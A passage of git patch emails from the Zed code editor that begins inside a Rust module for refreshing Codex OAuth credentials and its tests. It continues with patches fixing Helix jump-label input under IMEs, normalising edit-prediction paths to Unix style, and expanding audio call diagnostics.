+            return Err(RefreshError::Fatal(err));
+        }
+        return Err(RefreshError::Transient(err));
+    }
+
+    let tokens: TokenResponse =
+        serde_json::from_str(&body).map_err(|e| RefreshError::Transient(e.into()))?;
+    let jwt = tokens
+        .id_token
+        .as_deref()
+        .unwrap_or(tokens.access_token.as_str());
+    let claims = extract_jwt_claims(jwt);
+
+    Ok(CodexCredentials {
+        access_token: tokens.access_token,
+        refresh_token: tokens.refresh_token,
+        expires_at_ms: now_ms() + tokens.expires_in * 1000,
+        account_id: claims.account_id,
+        email: claims.email.or(tokens.email),
+    })
+}
+
+struct JwtClaims {
+    account_id: Option<String>,
+    email: Option<String>,
+}
+
+/// Extract claims from a JWT payload (base64url middle segment).
+/// Extracts `chatgpt_account_id` from three possible locations (matching Roo Code's
+/// implementation) and the `email` claim.
+fn extract_jwt_claims(jwt: &str) -> JwtClaims {
+    let Some(payload_b64) = jwt.split('.').nth(1) else {
+        return JwtClaims {
+            account_id: None,
+            email: None,
+        };
+    };
+    let Ok(payload) = URL_SAFE_NO_PAD.decode(payload_b64) else {
+        return JwtClaims {
+            account_id: None,
+            email: None,
+        };
+    };
+    let Ok(claims) = serde_json::from_slice::<serde_json::Value>(&payload) else {
+        return JwtClaims {
+            account_id: None,
+            email: None,
+        };
+    };
+
+    let account_id = claims
+        .get("chatgpt_account_id")
+        .and_then(|v| v.as_str())
+        .or_else(|| {
+            claims
+                .get("https://api.openai.com/auth")
+                .and_then(|v| v.get("chatgpt_account_id"))
+                .and_then(|v| v.as_str())
+        })
+        .or_else(|| {
+            claims
+                .get("organizations")
+                .and_then(|v| v.as_array())
+                .and_then(|arr| arr.first())
+                .and_then(|org| org.get("id"))
+                .and_then(|v| v.as_str())
+        })
+        .map(|s| s.to_owned());
+
+    let email = claims
+        .get("email")
+        .and_then(|v| v.as_str())
+        .map(|s| s.to_owned());
+
+    JwtClaims { account_id, email }
+}
+
+fn now_ms() -> u64 {
+    SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .map(|d| d.as_millis() as u64)
+        .unwrap_or_else(|err| {
+            log::error!("System clock is before UNIX epoch: {err}");
+            0
+        })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use gpui::{AppContext as _, TestAppContext};
+    use http_client::FakeHttpClient;
+    use parking_lot::Mutex;
+    use std::future::Future;
+    use std::pin::Pin;
+    use std::sync::atomic::{AtomicUsize, Ordering};
+
+    #[gpui::test]
+    async fn test_concurrent_refresh_deduplicates(cx: &mut TestAppContext) {
+        let refresh_count = Arc::new(AtomicUsize::new(0));
+        let refresh_count_clone = refresh_count.clone();
+
+        let http_client = FakeHttpClient::create(move |_request| {
+            let refresh_count = refresh_count_clone.clone();
+            async move {
+                refresh_count.fetch_add(1, Ordering::SeqCst);
+                let body = fake_token_response();
+                Ok(http_client::Response::builder()
+                    .status(200)
+                    .body(http_client::AsyncBody::from(body))?)
+            }
+        });
+
+        let http: Arc<dyn HttpClient> = http_client;
+        let state = make_state(http.clone(), Some(make_expired_credentials()), cx);
+
+        let weak_state = cx.read(|_cx| state.downgrade());
+
+        // Spawn two concurrent refresh attempts.
+        let weak1 = weak_state.clone();
+        let http1 = http.clone();
+        let task1 =
+            cx.spawn(async move |mut cx| get_fresh_credentials(&weak1, &http1, &mut cx).await);
+
+        let weak2 = weak_state.clone();
+        let http2 = http.clone();
+        let task2 =
+            cx.spawn(async move |mut cx| get_fresh_credentials(&weak2, &http2, &mut cx).await);
+
+        // Drive both to completion.
+        cx.run_until_parked();
+        let result1 = task1.await;
+        let result2 = task2.await;
+
+        assert!(result1.is_ok(), "first refresh should succeed");
+        assert!(result2.is_ok(), "second refresh should succeed");
+        assert_eq!(result1.unwrap().access_token, "fresh_access");
+        assert_eq!(result2.unwrap().access_token, "fresh_access");
+        assert_eq!(
+            refresh_count.load(Ordering::SeqCst),
+            1,
+            "refresh_token should only be called once despite two concurrent callers"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_fresh_credentials_skip_refresh(cx: &mut TestAppContext) {
+        let refresh_count = Arc::new(AtomicUsize::new(0));
+        let refresh_count_clone = refresh_count.clone();
+
+        let http_client = FakeHttpClient::create(move |_request| {
+            let refresh_count = refresh_count_clone.clone();
+            async move {
+                refresh_count.fetch_add(1, Ordering::SeqCst);
+                let body = fake_token_response();
+                Ok(http_client::Response::builder()
+                    .status(200)
+                    .body(http_client::AsyncBody::from(body))?)
+            }
+        });
+
+        let http: Arc<dyn HttpClient> = http_client;
+        let state = make_state(http.clone(), Some(make_fresh_credentials()), cx);
+
+        let weak_state = cx.read(|_cx| state.downgrade());
+
+        let weak = weak_state.clone();
+        let http_clone = http.clone();
+        let result = cx
+            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
+            .await;
+
+        assert!(result.is_ok());
+        assert_eq!(result.unwrap().access_token, "fresh_access");
+        assert_eq!(
+            refresh_count.load(Ordering::SeqCst),
+            0,
+            "no refresh should happen when credentials are fresh"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_no_credentials_returns_no_api_key(cx: &mut TestAppContext) {
+        let http_client = FakeHttpClient::create(|_| async {
+            Ok(http_client::Response::builder()
+                .status(200)
+                .body(http_client::AsyncBody::default())?)
+        });
+
+        let http: Arc<dyn HttpClient> = http_client;
+        let state = make_state(http.clone(), None, cx);
+
+        let weak_state = cx.read(|_cx| state.downgrade());
+
+        let weak = weak_state.clone();
+        let http_clone = http.clone();
+        let result = cx
+            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
+            .await;
+
+        assert!(matches!(
+            result,
+            Err(LanguageModelCompletionError::NoApiKey { .. })
+        ));
+    }
+
+    #[gpui::test]
+    async fn test_fatal_refresh_clears_auth_state(cx: &mut TestAppContext) {
+        let http_client = FakeHttpClient::create(move |_request| async move {
+            Ok(http_client::Response::builder()
+                .status(401)
+                .body(http_client::AsyncBody::from(r#"{"error":"invalid_grant"}"#))?)
+        });
+
+        let http: Arc<dyn HttpClient> = http_client;
+        let state = make_state(http.clone(), Some(make_expired_credentials()), cx);
+
+        let weak_state = cx.read(|_cx| state.downgrade());
+
+        let weak = weak_state.clone();
+        let http_clone = http.clone();
+        let result = cx
+            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
+            .await;
+
+        cx.run_until_parked();
+
+        assert!(result.is_err(), "fatal refresh should return an error");
+        cx.read(|cx| {
+            let s = state.read(cx);
+            assert!(
+                s.credentials.is_none(),
+                "credentials should be cleared on fatal refresh failure"
+            );
+            assert!(
+                s.last_auth_error.is_some(),
+                "last_auth_error should be set on fatal refresh failure"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_transient_refresh_keeps_credentials(cx: &mut TestAppContext) {
+        let http_client = FakeHttpClient::create(move |_request| async move {
+            Ok(http_client::Response::builder()
+                .status(500)
+                .body(http_client::AsyncBody::from("Internal Server Error"))?)
+        });
+
+        let http: Arc<dyn HttpClient> = http_client;
+        let state = make_state(http.clone(), Some(make_expired_credentials()), cx);
+
+        let weak_state = cx.read(|_cx| state.downgrade());
+
+        let weak = weak_state.clone();
+        let http_clone = http.clone();
+        let result = cx
+            .spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await)
+            .await;
+
+        cx.run_until_parked();
+
+        assert!(result.is_err(), "transient refresh should return an error");
+        cx.read(|cx| {
+            let s = state.read(cx);
+            assert!(
+                s.credentials.is_some(),
+                "credentials should be kept on transient refresh failure"
+            );
+            assert!(
+                s.last_auth_error.is_none(),
+                "last_auth_error should not be set on transient refresh failure"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_sign_out_during_refresh_discards_result(cx: &mut TestAppContext) {
+        let (gate_tx, gate_rx) = futures::channel::oneshot::channel::<()>();
+        let gate_rx = Arc::new(Mutex::new(Some(gate_rx)));
+        let gate_rx_clone = gate_rx.clone();
+
+        let http_client = FakeHttpClient::create(move |_request| {
+            let gate_rx = gate_rx_clone.clone();
+            async move {
+                // Wait until the gate is opened, simulating a slow network.
+                let rx = gate_rx.lock().take();
+                if let Some(rx) = rx {
+                    let _ = rx.await;
+                }
+                let body = fake_token_response();
+                Ok(http_client::Response::builder()
+                    .status(200)
+                    .body(http_client::AsyncBody::from(body))?)
+            }
+        });
+
+        let http: Arc<dyn HttpClient> = http_client;
+        let state = make_state(http.clone(), Some(make_expired_credentials()), cx);
+
+        let weak_state = cx.read(|_cx| state.downgrade());
+
+        // Start a refresh
+        let weak = weak_state.clone();
+        let http_clone = http.clone();
+        let refresh_task =
+            cx.spawn(async move |mut cx| get_fresh_credentials(&weak, &http_clone, &mut cx).await);
+
+        cx.run_until_parked();
+
+        // Sign out while the refresh is in-flight
+        state.update(cx, |state, cx| {
+            state.sign_out(cx).detach();
+        });
+        cx.run_until_parked();
+
+        // Now let the refresh respond by opening the gate
+        let _ = gate_tx.send(());
+        cx.run_until_parked();
+
+        let result = refresh_task.await;
+        assert!(result.is_err(), "refresh should fail after sign-out");
+
+        cx.read(|cx| {
+            let s = state.read(cx);
+            assert!(
+                s.credentials.is_none(),
+                "sign-out should have cleared credentials"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_sign_out_completes_fully(cx: &mut TestAppContext) {
+        let creds_provider = Arc::new(FakeCredentialsProvider::new());
+        // Pre-populate the credential store
+        creds_provider
+            .storage
+            .lock()
+            .replace(("Bearer".to_string(), b"some-creds".to_vec()));
+
+        let http: Arc<dyn HttpClient> = FakeHttpClient::create(|_| async {
+            Ok(http_client::Response::builder()
+                .status(200)
+                .body(http_client::AsyncBody::default())?)
+        });
+        let state = make_state_with_credentials_provider(
+            http,
+            Some(make_fresh_credentials()),
+            creds_provider.clone(),
+            cx,
+        );
+
+        let sign_out_task = state.update(cx, |state, cx| state.sign_out(cx));
+
+        cx.run_until_parked();
+        sign_out_task.await.expect("sign-out should succeed");
+
+        assert!(
+            creds_provider.storage.lock().is_none(),
+            "credential store should be empty after sign-out"
+        );
+        cx.read(|cx| {
+            assert!(
+                !state.read(cx).is_authenticated(),
+                "state should show not authenticated"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_initial_load_restores_persisted_credentials(cx: &mut TestAppContext) {
+        let creds = make_fresh_credentials();
+        let creds_json = serde_json::to_vec(&creds).unwrap();
+        let creds_provider = Arc::new(FakeCredentialsProvider::new());
+        creds_provider
+            .storage
+            .lock()
+            .replace(("Bearer".to_string(), creds_json));
+
+        let http: Arc<dyn HttpClient> = FakeHttpClient::create(|_| async {
+            Ok(http_client::Response::builder()
+                .status(200)
+                .body(http_client::AsyncBody::default())?)
+        });
+
+        let state = cx.new(|cx| State::new(http, creds_provider, cx));
+
+        let load_task = cx
+            .read(|cx| state.read(cx).load_task())
+            .expect("constructor should start the credentials load");
+
+        cx.run_until_parked();
+        load_task.await.expect("load should succeed");
+
+        cx.read(|cx| {
+            let state = state.read(cx);
+            assert!(state.is_authenticated());
+            assert!(state.load_task().is_none());
+        });
+    }
+
+    struct FakeCredentialsProvider {
+        storage: Mutex<Option<(String, Vec<u8>)>>,
+    }
+
+    impl FakeCredentialsProvider {
+        fn new() -> Self {
+            Self {
+                storage: Mutex::new(None),
+            }
+        }
+    }
+
+    impl CredentialsProvider for FakeCredentialsProvider {
+        fn read_credentials<'a>(
+            &'a self,
+            _url: &'a str,
+            _cx: &'a AsyncApp,
+        ) -> Pin<Box<dyn Future<Output = Result<Option<(String, Vec<u8>)>>> + 'a>> {
+            Box::pin(async { Ok(self.storage.lock().clone()) })
+        }
+
+        fn write_credentials<'a>(
+            &'a self,
+            _url: &'a str,
+            username: &'a str,
+            password: &'a [u8],
+            _cx: &'a AsyncApp,
+        ) -> Pin<Box<dyn Future<Output = Result<()>> + 'a>> {
+            self.storage
+                .lock()
+                .replace((username.to_string(), password.to_vec()));
+            Box::pin(async { Ok(()) })
+        }
+
+        fn delete_credentials<'a>(
+            &'a self,
+            _url: &'a str,
+            _cx: &'a AsyncApp,
+        ) -> Pin<Box<dyn Future<Output = Result<()>> + 'a>> {
+            *self.storage.lock() = None;
+            Box::pin(async { Ok(()) })
+        }
+    }
+
+    fn make_state(
+        http_client: Arc<dyn HttpClient>,
+        credentials: Option<CodexCredentials>,
+        cx: &mut TestAppContext,
+    ) -> Entity<State> {
+        make_state_with_credentials_provider(
+            http_client,
+            credentials,
+            Arc::new(FakeCredentialsProvider::new()),
+            cx,
+        )
+    }
+
+    fn make_state_with_credentials_provider(
+        http_client: Arc<dyn HttpClient>,
+        credentials: Option<CodexCredentials>,
+        credentials_provider: Arc<dyn CredentialsProvider>,
+        cx: &mut TestAppContext,
+    ) -> Entity<State> {
+        cx.new(|_cx| State {
+            credentials,
+            sign_in_task: None,
+            refresh_task: None,
+            load_task: None,
+            credentials_provider,
+            http_client,
+            auth_generation: 0,
+            last_auth_error: None,
+        })
+    }
+
+    fn make_expired_credentials() -> CodexCredentials {
+        CodexCredentials {
+            access_token: "old_access".to_string(),
+            refresh_token: "old_refresh".to_string(),
+            expires_at_ms: 0,
+            account_id: None,
+            email: None,
+        }
+    }
+
+    fn make_fresh_credentials() -> CodexCredentials {
+        CodexCredentials {
+            access_token: "fresh_access".to_string(),
+            refresh_token: "fresh_refresh".to_string(),
+            expires_at_ms: now_ms() + 3_600_000,
+            account_id: None,
+            email: None,
+        }
+    }
+
+    fn fake_token_response() -> String {
+        serde_json::json!({
+            "access_token": "fresh_access",
+            "refresh_token": "fresh_refresh",
+            "expires_in": 3600
+        })
+        .to_string()
+    }
+}

From 50ac7dc925bb3a9ed19bd1c5ba446fbb001a4146 Mon Sep 17 00:00:00 2001
From: Mikhail Pertsev <arthasmontano@mail.ru>
Date: Tue, 28 Jul 2026 16:54:07 +0200
Subject: [PATCH 745/772] vim: Handle Helix jump labels before IME input
 (#61315)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #59129.

`vim::HelixJumpToWord` currently treats its two-character target labels
as text input. When an IME is active, the printable label keys can
therefore enter the IME composition window instead of completing the
jump.

## Solution

- Treat an active Helix jump as command input rather than character
input, preventing the platform input handler from preferring the IME for
its label keys.
- After normal keybinding resolution, handle action-less, unmodified
label keydowns directly from the keystroke's ASCII-equivalent key. This
preserves label matching on non-ASCII keyboard layouts while leaving
Escape, custom bindings, and Ctrl/Alt/Cmd/Function shortcuts untouched.
- Stop propagation after consuming a label key so the platform does not
subsequently forward it to the IME.
- Keep the existing committed-text handling as a fallback for other
input paths.

This is complementary to #61270: that PR handles pending GPUI keybinding
chords before IME input, while this change handles Helix jump labels
after the initiating action has resolved. The changes are also
file-disjoint.

## Testing

- Added a regression test using the issue's `s` → `vim::HelixJumpToWord`
binding. The test verifies that:
  - no GPUI keybinding chord is pending;
  - Helix jump does not accept text input or prefer the IME;
  - both raw label keydown events are consumed; and
  - the expected jump completes.

- Manually tested on macOS with both ABC and Japanese Romaji input
sources.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Helix jump-to-word label input being intercepted by IMEs.
---
 crates/vim/src/helix.rs | 68 ++++++++++++++++++++++++++++++++++++++++-
 crates/vim/src/vim.rs   | 18 ++++++++++-
 2 files changed, 84 insertions(+), 2 deletions(-)

diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index 8de9fa58894fa2..6408fd7a3882c1 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -1866,7 +1866,10 @@ mod test {
     use std::{fmt::Write, time::Duration};
 
     use editor::{HighlightKey, MultiBufferOffset};
-    use gpui::{KeyBinding, UpdateGlobal, VisualTestContext};
+    use gpui::{
+        Bounds, DispatchEventResult, ElementInputHandler, KeyBinding, KeyDownEvent, Keystroke,
+        PlatformInput, PlatformInputHandler, UpdateGlobal, VisualTestContext,
+    };
     use indoc::indoc;
     use language::{CursorShape, Point};
     use project::FakeFs;
@@ -1955,6 +1958,36 @@ mod test {
         });
     }
 
+    fn assert_helix_jump_bypasses_text_input(cx: &mut VimTestContext) {
+        let editor = cx.update_editor(|_, _, cx| cx.entity());
+        let mut input_handler = cx.update(|window, cx| {
+            PlatformInputHandler::new(
+                window.to_async(cx),
+                Box::new(ElementInputHandler::new(Bounds::default(), editor)),
+            )
+        });
+        assert!(!input_handler.query_accepts_text_input());
+        assert!(!input_handler.query_prefers_ime_for_printable_keys());
+    }
+
+    fn dispatch_native_printable_key(cx: &mut VimTestContext, key: char) -> DispatchEventResult {
+        let keystroke = Keystroke::parse(&key.to_string())
+            .expect("helix jump labels are valid keystrokes")
+            .with_simulated_ime();
+        let result = cx.update(|window, cx| {
+            window.dispatch_event(
+                PlatformInput::KeyDown(KeyDownEvent {
+                    keystroke,
+                    is_held: false,
+                    prefer_character_input: false,
+                }),
+                cx,
+            )
+        });
+        cx.run_until_parked();
+        result
+    }
+
     fn active_helix_jump_overlay_counts(cx: &mut VimTestContext) -> (usize, usize) {
         let covered_text_range_count = cx.update_editor(|editor, window, cx| {
             let snapshot = editor.snapshot(window, cx);
@@ -3810,6 +3843,39 @@ mod test {
         assert_eq!(cx.active_operator(), None);
     }
 
+    #[gpui::test]
+    async fn test_helix_jump_consumes_label_keystrokes_before_ime(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        bind_vim_jump_to_word(&mut cx, "s");
+        cx.set_state("ˇone two three", Mode::Normal);
+
+        cx.simulate_keystrokes("s");
+        let label = helix_jump_label_for_word(&mut cx, "two");
+        let mut chars = label.chars();
+        let first = chars.next().expect("jump labels are two characters long");
+        let second = chars.next().expect("jump labels are two characters long");
+
+        cx.update(|window, _| assert!(!window.has_pending_keystrokes()));
+        assert_helix_jump_bypasses_text_input(&mut cx);
+
+        let result = dispatch_native_printable_key(&mut cx, first);
+        assert!(!result.propagate, "jump label keystroke should be consumed");
+        assert!(matches!(
+            cx.active_operator(),
+            Some(Operator::HelixJump {
+                first_char: Some(input),
+                ..
+            }) if input == first.to_ascii_lowercase()
+        ));
+        assert_helix_jump_bypasses_text_input(&mut cx);
+
+        let result = dispatch_native_printable_key(&mut cx, second);
+        assert!(!result.propagate, "jump label keystroke should be consumed");
+
+        cx.assert_state("one ˇtwo three", Mode::Normal);
+        assert_eq!(cx.active_operator(), None);
+    }
+
     #[gpui::test]
     async fn test_vim_jump_keeps_normal_cursor_shape(cx: &mut gpui::TestAppContext) {
         let mut cx = VimTestContext::new(cx, true).await;
diff --git a/crates/vim/src/vim.rs b/crates/vim/src/vim.rs
index 05badab50c96d4..0c6c59f36e509e 100644
--- a/crates/vim/src/vim.rs
+++ b/crates/vim/src/vim.rs
@@ -1115,6 +1115,21 @@ impl Vim {
                         cx,
                     );
                 }
+                operator @ Operator::HelixJump { .. } if keystroke_event.action.is_none() => {
+                    let modifiers = keystroke_event.keystroke.modifiers;
+                    let mut input = keystroke_event.keystroke.key.chars();
+                    if !modifiers.control
+                        && !modifiers.alt
+                        && !modifiers.platform
+                        && !modifiers.function
+                        && let Some(input_char) = input.next()
+                        && input.next().is_none()
+                    {
+                        // Jump overlays use ASCII labels even on non-ASCII keyboard layouts.
+                        self.handle_helix_jump_input(operator, input_char, window, cx);
+                        cx.stop_propagation();
+                    }
+                }
                 _ if !operator.is_waiting(self.mode) => {
                     self.clear_operator(window, cx);
                     self.stop_recording_immediately(Box::new(ClearOperators), cx)
@@ -1412,7 +1427,8 @@ impl Vim {
     fn expects_character_input(&self) -> bool {
         if let Some(operator) = self.operator_stack.last() {
             if operator.is_waiting(self.mode) {
-                return true;
+                // Helix jump labels are commands that need to reach Vim before an active IME.
+                return !matches!(operator, Operator::HelixJump { .. });
             }
         }
         self.editor_input_enabled()

From 6dcb0e57b5a6d12cc6bab21c11488fd76db0eaaf Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Tue, 28 Jul 2026 10:02:14 -0500
Subject: [PATCH 746/772] edit_prediction: Normalize prompt paths to Unix style
 (#61792)

# Objective

- Fix V4 edit prediction requests failing for local Windows projects
because native path separators do not match Unix-formatted context paths
on the server.

## Solution

- Canonicalize serialized buffer paths through the existing `RelPath`
representation.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Suggested .rules additions

- Paths serialized for edit prediction APIs must use `RelPath`'s Unix
representation rather than platform-native `PathBuf` formatting.

---

Release Notes:

- N/A
---
 crates/edit_prediction/src/edit_prediction.rs     | 15 +++++++++------
 .../edit_prediction/src/edit_prediction_tests.rs  | 11 ++++++++++-
 2 files changed, 19 insertions(+), 7 deletions(-)

diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index 965d8bc2699171..850851dc694a1f 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -70,7 +70,7 @@ use std::sync::Arc;
 use std::time::{Duration, Instant};
 
 use thiserror::Error;
-use util::ResultExt as _;
+use util::{ResultExt as _, rel_path::RelPath};
 
 pub mod cursor_excerpt;
 pub mod data_collection;
@@ -904,11 +904,14 @@ pub(crate) fn buffer_path_with_id_fallback(
     snapshot: &TextBufferSnapshot,
     cx: &App,
 ) -> Arc<Path> {
-    if let Some(file) = file {
-        file.full_path(cx).into()
-    } else {
-        Path::new(&format!("untitled-{}", snapshot.remote_id())).into()
-    }
+    let Some(file) = file else {
+        return Path::new(&format!("untitled-{}", snapshot.remote_id())).into();
+    };
+    let full_path = file.full_path(cx);
+    let Some(path) = RelPath::new(&full_path, file.path_style(cx)).ok() else {
+        return Path::new(&format!("untitled-{}", snapshot.remote_id())).into();
+    };
+    path.as_std_path().into()
 }
 
 fn predict_edits_request_trigger_from_editor_trigger(
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index dd8b866a6b1a1e..eb0851ffb22dde 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -4127,13 +4127,22 @@ async fn test_edit_prediction_settled_drops_future_events_when_their_oss_status_
 }
 
 #[gpui::test]
-fn test_buffer_path_with_id_fallback_for_untitled_buffers(cx: &mut TestAppContext) {
+fn test_buffer_path_with_id_fallback(cx: &mut TestAppContext) {
     let buffer_1 = cx.new(|cx| Buffer::local("one", cx));
     let buffer_2 = cx.new(|cx| Buffer::local("two", cx));
 
     let snapshot_1 = buffer_1.read_with(cx, |buffer, _| buffer.text_snapshot());
     let snapshot_2 = buffer_2.read_with(cx, |buffer, _| buffer.text_snapshot());
 
+    let windows_file: Arc<dyn language::File> = Arc::new(language::TestFile {
+        path: util::rel_path::rel_path("src/main.rs").into(),
+        root_name: "workspace".into(),
+        local_root: None,
+    });
+    let windows_path =
+        cx.read(|cx| buffer_path_with_id_fallback(Some(&windows_file), &snapshot_1, cx));
+    assert_eq!(windows_path.to_string_lossy(), "workspace/src/main.rs");
+
     let path_1 = cx.read(|cx| buffer_path_with_id_fallback(None, &snapshot_1, cx));
     let path_2 = cx.read(|cx| buffer_path_with_id_fallback(None, &snapshot_2, cx));
 

From baacd359031bf1e9a24bb7dfa6c1b7b90191bb78 Mon Sep 17 00:00:00 2001
From: Jakub Konka <kubkon@jakubkonka.com>
Date: Tue, 28 Jul 2026 18:56:55 +0200
Subject: [PATCH 747/772] call: Expand audio call diagnostics (#61744)

Closes FR-140

Release Notes:

- Improved call diagnostics with per-participant audio health history
and exportable reports.
---
 Cargo.lock                                    |   2 +
 crates/call/Cargo.toml                        |   1 +
 crates/call/src/call_impl/diagnostics.rs      | 439 ++++++++++++++++--
 crates/call/src/call_impl/mod.rs              |  21 +
 crates/collab_ui/Cargo.toml                   |   1 +
 crates/collab_ui/src/call_stats_modal.rs      | 387 ++++++++++++---
 crates/livekit_client/src/lib.rs              |  10 +
 crates/livekit_client/src/livekit_client.rs   |   4 +
 .../src/livekit_client/playback.rs            |  72 ++-
 crates/livekit_client/src/mock_client.rs      |   6 +
 .../livekit_client/src/mock_client/track.rs   |   4 +
 crates/title_bar/src/collab.rs                |  11 +-
 12 files changed, 851 insertions(+), 107 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index ff1eba29fe22f9..6a9ecdf8f9e5fb 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -2700,6 +2700,7 @@ dependencies = [
  "postage",
  "project",
  "serde",
+ "serde_json",
  "settings",
  "telemetry",
  "util",
@@ -3526,6 +3527,7 @@ dependencies = [
  "serde_json",
  "settings",
  "smallvec",
+ "smol",
  "telemetry",
  "theme",
  "theme_settings",
diff --git a/crates/call/Cargo.toml b/crates/call/Cargo.toml
index eb9e3c8d86b7b9..eafb713d7e80f3 100644
--- a/crates/call/Cargo.toml
+++ b/crates/call/Cargo.toml
@@ -51,6 +51,7 @@ fs = { workspace = true, features = ["test-support"] }
 gpui = { workspace = true, features = ["test-support"] }
 language = { workspace = true, features = ["test-support"] }
 project = { workspace = true, features = ["test-support"] }
+serde_json.workspace = true
 util = { workspace = true, features = ["test-support"] }
 workspace = { workspace = true, features = ["test-support"] }
 
diff --git a/crates/call/src/call_impl/diagnostics.rs b/crates/call/src/call_impl/diagnostics.rs
index 1aa1774dfb0f59..9410151049cbff 100644
--- a/crates/call/src/call_impl/diagnostics.rs
+++ b/crates/call/src/call_impl/diagnostics.rs
@@ -1,33 +1,91 @@
-use gpui::{Context, Task, WeakEntity};
-use livekit_client::ConnectionQuality;
-use std::time::Duration;
+use gpui::{Context, Entity, Task, WeakEntity};
+use livekit_client::{ConnectionQuality, RemoteAudioPlaybackStats};
+use serde::{Serialize, Serializer};
+use std::{
+    collections::{HashMap, VecDeque},
+    sync::Arc,
+    time::{Duration, Instant},
+};
 
 use super::room::Room;
 
-#[derive(Clone, Default)]
+const MAX_HISTORY_SAMPLES: usize = 60;
+
+#[derive(Copy, Clone, Default)]
+pub struct DurationDTO(pub Duration);
+
+#[derive(Copy, Clone)]
+pub struct ConnectionQualityDTO(pub ConnectionQuality);
+
+#[derive(Clone, Default, Serialize)]
 pub struct CallStats {
-    pub connection_quality: Option<ConnectionQuality>,
-    pub effective_quality: Option<ConnectionQuality>,
+    pub connection_quality: Option<ConnectionQualityDTO>,
+    pub effective_quality: Option<ConnectionQualityDTO>,
     pub latency_ms: Option<f64>,
     pub jitter_ms: Option<f64>,
     pub packet_loss_pct: Option<f64>,
-    pub input_lag: Option<Duration>,
+    #[serde(rename = "input_lag_ms")]
+    pub input_lag: Option<DurationDTO>,
+}
+
+#[derive(Clone, Default, Serialize)]
+pub struct RemoteAudioDiagnostics {
+    pub participant_id: String,
+    #[serde(skip)]
+    pub participant_name: String,
+    pub track_id: String,
+    pub packets_received: u64,
+    pub packets_lost: i64,
+    pub packet_loss_pct: Option<f64>,
+    pub jitter_ms: f64,
+    pub jitter_buffer_delay_ms: Option<f64>,
+    pub concealed_samples: u64,
+    pub concealment_events: u64,
+    pub inserted_samples_for_deceleration: u64,
+    pub removed_samples_for_acceleration: u64,
+    pub frames_received: u64,
+    pub frames_dropped: u64,
+    pub queue_underflows: u64,
+    pub current_queue_depth: u64,
+    pub maximum_queue_depth: u64,
+}
+
+#[derive(Clone, Serialize)]
+pub struct CallDiagnosticsSnapshot {
+    #[serde(rename = "elapsed_ms")]
+    pub elapsed: DurationDTO,
+    pub stats: CallStats,
+    pub remote_audio: Vec<RemoteAudioDiagnostics>,
+}
+
+#[derive(Serialize)]
+pub struct CallDiagnosticsReport {
+    schema_version: u32,
+    samples: Vec<Arc<CallDiagnosticsSnapshot>>,
 }
 
 pub struct CallDiagnostics {
     stats: CallStats,
+    history: VecDeque<Arc<CallDiagnosticsSnapshot>>,
+    previous_inbound: HashMap<String, InboundCounters>,
+    participant_ids: HashMap<u64, String>,
+    track_ids: HashMap<String, String>,
+    started_at: Instant,
     room: WeakEntity<Room>,
     poll_task: Option<Task<()>>,
-    stats_update_task: Option<Task<()>>,
 }
 
 impl CallDiagnostics {
     pub fn new(room: WeakEntity<Room>, cx: &mut Context<Self>) -> Self {
         let mut this = Self {
             stats: CallStats::default(),
+            history: VecDeque::with_capacity(MAX_HISTORY_SAMPLES),
+            previous_inbound: HashMap::default(),
+            participant_ids: HashMap::default(),
+            track_ids: HashMap::default(),
+            started_at: Instant::now(),
             room,
             poll_task: None,
-            stats_update_task: None,
         };
         this.start_polling(cx);
         this
@@ -37,10 +95,35 @@ impl CallDiagnostics {
         &self.stats
     }
 
+    pub fn latest(&self) -> Option<&CallDiagnosticsSnapshot> {
+        self.history.back().map(Arc::as_ref)
+    }
+
+    pub fn history(&self) -> &VecDeque<Arc<CallDiagnosticsSnapshot>> {
+        &self.history
+    }
+
+    pub fn report(&self) -> CallDiagnosticsReport {
+        CallDiagnosticsReport {
+            schema_version: 1,
+            samples: self.history.iter().cloned().collect(),
+        }
+    }
+
     fn start_polling(&mut self, cx: &mut Context<Self>) {
         self.poll_task = Some(cx.spawn(async move |this, cx| {
             loop {
